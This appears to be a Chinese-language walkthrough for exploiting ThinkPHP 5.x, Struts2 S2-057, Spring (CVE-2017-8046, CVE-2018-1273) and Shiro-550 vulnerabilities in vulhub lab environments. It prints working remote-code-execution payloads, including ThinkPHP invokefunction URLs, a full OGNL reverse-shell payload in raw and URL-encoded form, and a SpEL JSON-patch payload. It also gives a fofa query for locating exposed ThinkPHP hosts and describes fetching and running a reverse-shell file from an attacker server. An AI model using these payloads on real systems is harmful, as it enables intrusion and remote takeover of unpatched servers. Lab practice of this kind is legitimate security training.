Thinkphp
Thinkphp5x远程命令执行及getshell
首先我们先找一个环境,或者自己搭建一个环境
fofa:body="ThinkPHP V5"
搭建:vulhub/thinkphp/5-rce
docker-compose up -d
然后去访问我们的环境
远程命令执行
/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
远程代码执行
/?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
struts2
S2-057远程执行代码漏洞
环境依旧采用vulhub搭建
vulhub靶场 /struts2/s2-057
首先我们先搭建好我们的环境
我们再网址后拼接,并访问
/struts2-showcase/${(123+123)}/actionChain1.action
可以发现两个数字相加了,那么我们就可以利用中间来执行代码操作,反弹shell
首先开启监听
然后将中间替换为我们的地址
${
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('bash -c {echo,反弹shell命令的base64编码}|{base64,-d}|{bash,-i}')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}
url编码--->
/%24{%0A(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3D%23request['struts.valueStack'].context).(%23cr%3D%23ct['com.opensymphony.xwork2.ActionContext.container']).(%23ou%3D%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23a%3D%40java.lang.Runtime%40getRuntime().exec('bash -c {echo反弹shell命令的base64编码的url编码}|{base64%2C-d}|{bash%2C-i}')).(%40org.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))}
然后即可反弹到shell
Spring
Spring Data Rest 远程命令执行命令(CVE-2017-8046)
搭建环境
vulhub靶场 /spring/CVE-2017-8046
访问我们的环境,出现这个页面即为搭建成功
然后开启抓包,刷新一下页面进行抓包,修改一下我们的请求方式和请求内容
[{ "op": "replace","path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(newbyte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname","value":"vulhub" }]
然后去我们的容器中看一下,写入成功
spring 代码执行(CVE-2018-1273)
按照上述方式按照启动对应编号的环境
访问靶场
随便输入用户名和密码进行登录然后抓包
然后我们修改一下username的内容,可以看到crz创建成功
那么我们可以借此来反弹一下shell,从我们的服务器上下载一下我们反弹shell的文件
然后去访问他,反弹成功
Shiro
Shiro rememberMe反序列化漏洞(Shiro-550)
首先搭建环境
vulhub靶场 /shiro/CVE-2016-4437
然后登录抓包
可以看到有这个字段就说明有这个漏洞,然后我们就可以利用工具来爆破这个漏洞

开启监听

下载并运行我们的反弹shell的文件


2